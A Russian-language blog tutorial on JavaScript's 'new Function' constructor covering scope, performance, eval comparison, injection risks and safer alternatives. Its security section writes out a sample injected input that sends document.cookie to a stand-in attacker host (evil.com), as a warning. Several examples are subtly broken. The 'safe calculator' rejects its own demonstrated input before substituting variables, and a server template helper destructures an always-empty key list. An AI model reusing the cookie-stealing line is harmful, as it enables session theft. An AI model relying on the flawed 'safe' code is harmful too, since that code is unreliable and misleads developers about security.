Добавить в корзинуПозвонить
Найти в Дзене
ovnoCod

Язык JavaScript - Синтаксис "new Function"

Вы знаете несколько способов создать функцию. Function Declaration, Function Expression, стрелочные функции. Но есть ещё один. Тёмный. Мощный. Опасный. Встречайте конструктор Function. Он позволяет создавать функции из строк. Да, прямо из строк, которые могут быть сгенерированы динамически, прийти с сервера или быть введены пользователем. Это звучит как суперсила. И это действительно суперсила. Но с такой силой приходит не просто ответственность - приходит опасность. new Function - это дверь в мир eval-подобных проблем: уязвимости безопасности, проблемы с производительностью и нечитаемый код. Сегодня мы разберём, как работает new Function, где он может быть полезен, почему его обычно стоит избегать и как не выстрелить себе в ногу. new Function - это конструктор, который создаёт новую функцию из строки с кодом. javascript // Синтаксис: new Function([arg1, arg2, ..., argN], functionBody)
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3)); // 5
// Можно передать
Оглавление
картинка взята с ya.ru
картинка взята с ya.ru

Тёмный путь: Синтаксис new Function и когда его использовать (но лучше не использовать)

Вы знаете несколько способов создать функцию. Function Declaration, Function Expression, стрелочные функции. Но есть ещё один. Тёмный. Мощный. Опасный.

Встречайте конструктор Function. Он позволяет создавать функции из строк. Да, прямо из строк, которые могут быть сгенерированы динамически, прийти с сервера или быть введены пользователем.

Это звучит как суперсила. И это действительно суперсила. Но с такой силой приходит не просто ответственность - приходит опасность. new Function - это дверь в мир eval-подобных проблем: уязвимости безопасности, проблемы с производительностью и нечитаемый код.

Сегодня мы разберём, как работает new Function, где он может быть полезен, почему его обычно стоит избегать и как не выстрелить себе в ногу.

Часть 1. Что такое new Function?

new Function - это конструктор, который создаёт новую функцию из строки с кодом.

javascript

// Синтаксис: new Function([arg1, arg2, ..., argN], functionBody)

const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3));
// 5

// Можно передать параметры как список через запятую
const multiply = new Function('x', 'y', 'return x * y');
console.log(multiply(4, 5));
// 20

// Или как одну строку с параметрами через запятую
const power = new Function('base, exponent', 'return Math.pow(base, exponent)');
console.log(power(2, 3));
// 8

// Без параметров
const greet = new Function('return "Привет, мир!"');
console.log(greet());
// "Привет, мир!"

Часть 2. Как это работает под капотом?

new Function создаёт функцию, которая выполняется в глобальной области видимости. Это ключевое отличие от eval и от обычных функций.

javascript

let globalVar = "Я глобальная";

function createFunction() {
let localVar = "Я локальная";

const func = new Function('return globalVar');
console.log(func());
// "Я глобальная" - видит глобальную

const func2 = new Function('return localVar');
console.log(func2());
// ReferenceError: localVar is not defined!
}

createFunction();

Почему? Функции, созданные через new Function, имеют свою собственную лексическую область видимости. Их внешняя область — это глобальная, а не та, где они были созданы.

Часть 3. new Function vs обычные способы

javascript

// Обычное объявление
function sum1(a, b) {
return a + b;
}

// Function Expression
const sum2 = function(a, b) {
return a + b;
};

// Стрелочная функция
const sum3 = (a, b) => a + b;

// new Function
const sum4 = new Function('a', 'b', 'return a + b');

-2

Часть 4. Когда new Function может быть полезен?

4.1 Динамическое создание функций из данных

javascript

// Сервер прислал JSON с описанием вычислений
const formulas = [
{ name: "square", params: ["x"], body: "return x * x" },
{ name: "cube", params: ["x"], body: "return x * x * x" },
{ name: "sum", params: ["a", "b"], body: "return a + b" }
];

const functions = {};
for (const formula of formulas) {
functions[formula.name] = new Function(...formula.params, formula.body);
}

console.log(functions.square(5));
// 25
console.log(functions.cube(3));
// 27
console.log(functions.sum(2, 3));
// 5

4.2 Шаблонизаторы и компиляторы

javascript

function createTemplate(template) {
// Шаблон: "Привет, {{name}}! Тебе {{age}} лет."
const params = [];
let body = 'return `';

let lastIndex = 0;
const regex = /\{\{(\w+)\}\}/g;
let match;

while ((match = regex.exec(template)) !== null) {
body += template.slice(lastIndex, match.index);
body += `\${${match[1]}}`;
params.push(match[1]);
lastIndex = match.index + match[0].length;
}

body += template.slice(lastIndex) + '`;';

return new Function(...params, body);
}

const render = createTemplate("Привет, {{name}}! Тебе {{age}} лет.");
console.log(render("Анна", 25));
// "Привет, Анна! Тебе 25 лет."

4.3 Динамические выражения (калькуляторы)

javascript

function createCalculator(expression) {
// expression: "x * 2 + y"
return new Function('x', 'y', `return ${expression}`);
}

const calc = createCalculator('x * 2 + y');
console.log(calc(5, 3));
// 13 (5*2 + 3)

const calc2 = createCalculator('Math.pow(x, y)');
console.log(calc2(2, 3));
// 8

4.4 Серверные шаблоны (например, в Node.js)

javascript

// Простой шаблонизатор на сервере
function compile(template) {
return new Function('data', `
const { ${Object.keys({}).join(', ')} } = data;
return \`${template.replace(/\${/g, '\\${')}\`;
`);
}

const tmpl = compile('<h1>${name}</h1><p>Возраст: ${age}</p>');
console.log(tmpl({ name: "Анна", age: 25 }));
// "<h1>Анна</h1><p>Возраст: 25</p>"

Часть 5. Ограничения и подводные камни

5.1 Нет доступа к локальным переменным

javascript

function test() {
const secret = "секрет";

const func = new Function('return secret');
console.log(func());
// ReferenceError: secret is not defined
}

test();

5.2 Всегда выполняется в глобальной области

javascript

let x = 10;

function test() {
let x = 20;

const func = new Function('return x');
console.log(func());
// 10 (глобальная), не 20
}

test();

5.3 Производительность

javascript

// Медленно (парсится при каждом вызове)
function createSlowAdder() {
return new Function('a', 'b', 'return a + b');
}

// Быстро (парсится один раз)
const fastAdder = new Function('a', 'b', 'return a + b');

// Разница особенно заметна при множественном создании
console.time('multiple');
for (let i = 0; i < 10000; i++) {
const fn = new Function('a', 'b', 'return a + b');
fn(1, 2);
}
console.timeEnd('multiple');
// ~15-30ms

console.time('single');
const fn = new Function('a', 'b', 'return a + b');
for (let i = 0; i < 10000; i++) {
fn(1, 2);
}
console.timeEnd('single');
// ~1-2ms

5.4 Отладка - кошмар

javascript

const buggy = new Function('x', 'y', `
const result = x + y;
// Ой, опечатка
retrun result;
`);

buggy(1, 2);
// SyntaxError: Unexpected token 'retrun'
// В стеке ошибки: at <anonymous> (нет имени, нет номера строки в исходнике)

Часть 6. new Function vs eval

Оба могут выполнять код из строк, но есть важные отличия:

javascript

const code = 'console.log("Hello")';

// eval - выполняет в текущей области видимости
function testEval() {
const message = "внутри";
eval('console.log(message)');
// "внутри"
}
testEval();

// new Function - только глобальная область
function testFunc() {
const message = "внутри";
const fn = new Function('console.log(message)');
fn();
// ReferenceError: message is not defined
}
testFunc();

-3

Часть 7. Безопасность: главная причина не использовать

Самый большой риск new Function - инъекции кода.

javascript

// ОПАСНО! Никогда так не делайте с пользовательским вводом
function evaluateExpression(expr, data) {
const fn = new Function('data', `return ${expr}`);
return fn(data);
}

// Пользователь ввёл: data => { fetch('https://evil.com/steal?cookie=' + document.cookie) }
// Или: (function(){ while(true) {} })()
// Или: process.exit() (в Node.js)

Принципы безопасности:

  • Никогда не передавайте пользовательский ввод в new Function
  • Не создавайте функции из непроверенных строк
  • Используйте безопасные альтернативы (объекты-словари, switch, eval-free шаблонизаторы)

Часть 8. Безопасные альтернативы

8.1 Вместо динамических выражений - объект-словарь

javascript

// Вместо
const operations = {
add: new Function('a', 'b', 'return a + b'),
mul: new Function('a', 'b', 'return a * b')
};

// Используйте обычные функции
const operations = {
add: (a, b) => a + b,
mul: (a, b) => a * b
};

8.2 Вместо шаблонизации - безопасные шаблонизаторы

javascript

// Вместо new Function для шаблонов
function safeRender(template, data) {
return template.replace(/\{\{(\w+)\}\}/g, (_, key) => {
return data[key] !== undefined ? escapeHtml(String(data[key])) : '';
});
}

function escapeHtml(str) {
return str.replace(/[&<>]/g, function(m) {
if (m === '&') return '&amp;';
if (m === '<') return '&lt;';
if (m === '>') return '&gt;';
return m;
});
}

const result = safeRender("Привет, {{name}}!", { name: "<script>alert('xss')</script>" });
console.log(result);
// "Привет, &lt;script&gt;alert('xss')&lt;/script&gt;!"

8.3 Вместо калькулятора - безопасный парсер

javascript

// Простой безопасный калькулятор (только числа и операции)
function safeCalculator(expr, vars) {
// Разрешаем только цифры, операции и переменные
const allowed = /^[\d\s\+\-\*\/\(\)\.]+$/;
if (!allowed.test(expr)) {
throw new Error("Недопустимое выражение");
}

// Заменяем переменные
for (const [key, value] of Object.entries(vars)) {
expr = expr.replace(new RegExp(key, 'g'), value);
}

// Используем Function, но только после полной валидации
return new Function('return ' + expr)();
}

console.log(safeCalculator("a + b * 2", { a: 5, b: 3 }));
// 11
// safeCalculator("alert(1)", {}); // Ошибка!

Часть 9. Реальный кейс: Конфигурируемые правила валидации

Иногда new Function действительно оправдан - например, когда правила валидации приходят с сервера и безопасны.

javascript

// Сервер прислал правила валидации
const rules = [
{ field: "email", check: "value.includes('@')", message: "Некорректный email" },
{ field: "age", check: "value >= 18 && value <= 120", message: "Некорректный возраст" }
];

function createValidator(rules) {
return rules.map(rule => ({
field: rule.field,
validate: new Function('value', `return ${rule.check}`),
message: rule.message
}));
}

const validators = createValidator(rules);

function validate(data) {
for (const v of validators) {
if (!v.validate(data[v.field])) {
return { valid: false, error: v.message };
}
}
return { valid: true };
}

console.log(validate({ email: "anna@example.com", age: 25 }));
// { valid: true }
console.log(validate({ email: "invalid", age: 25 }));
// { valid: false, error: "Некорректный email" }
console.log(validate({ email: "anna@example.com", age: 15 }));
// { valid: false, error: "Некорректный возраст" }

Часть 10. Когда использовать new Function (редкие случаи)

Приемлемо:

  • Динамическое создание функций на сервере из доверенных данных
  • Компиляция шаблонов в серверных средах (Node.js)
  • Реализация песочниц с изолированным контекстом
  • Экспериментальные/учебные проекты

Никогда:

  • С пользовательским вводом
  • В клиентском JavaScript (где есть XSS-риски)
  • Вместо обычных функций
  • Когда можно использовать безопасную альтернативу

Часть 11. Практические советы

11.1 Если очень нужно - кешируйте

javascript

const functionCache = new Map();

function getDynamicFunction(expression) {
if (functionCache.has(expression)) {
return functionCache.get(expression);
}

const fn = new Function('data', `return ${expression}`);
functionCache.set(expression, fn);
return fn;
}

const expr1 = getDynamicFunction('data.value * 2');
const expr2 = getDynamicFunction('data.value * 2');
// из кэша

11.2 Используйте явные параметры

javascript

// Плохо (любой код в строке)
const bad = new Function('return ' + userInput);

// Лучше (передаём данные как параметр)
const good = new Function('data', 'return data.field');
good(safeData);

11.3 Оборачивайте в try-catch

javascript

function safeCreateFunction(params, body) {
try {
return new Function(params, body);
} catch (error) {
console.error("Ошибка создания функции:", error);
return () => null;
}
}

Итог: Манифест new Function

  1. new Function создаёт функцию из строки - мощно, но опасно.
  2. Функция выполняется в глобальной области - не видит локальные переменные.
  3. Медленнее при создании - но нормально при многократном вызове.
  4. Опасен для безопасности - никогда не передавайте пользовательский ввод.
  5. Сложно отлаживать - имена функций не видны в стеке.
  6. Используйте только когда нет альтернативы - динамические выражения, шаблонизация на сервере.
  7. Всегда валидируйте данные - если не можете избежать использования.

Финальный тест (что выведет?):

javascript

let x = 10;

function create() {
let x = 20;
return new Function('return x');
}

const fn = create();
console.log(fn());

const sum = new Function('a', 'b', 'return a + b');
console.log(sum(5, '5'));

const bad = new Function('return (function() { return this; })()');
console.log(bad() === window);

Ответы:

  • 10 (глобальная x, не локальная)
  • "55" (конкатенация строк)
  • true (this внутри функции, созданной через new Function, указывает на глобальный объект)

new Function - это инструмент последнего средства. Он существует, он мощный, но он опасный. В 99.9% случаев вам не нужно его использовать. Обычные функции, Function Expression, стрелки, модули - они чище, безопаснее и производительнее. Но если вам действительно нужно динамически создать функцию из строки, вы знаете как. Только будьте осторожны. И никогда не доверяйте пользовательскому вводу.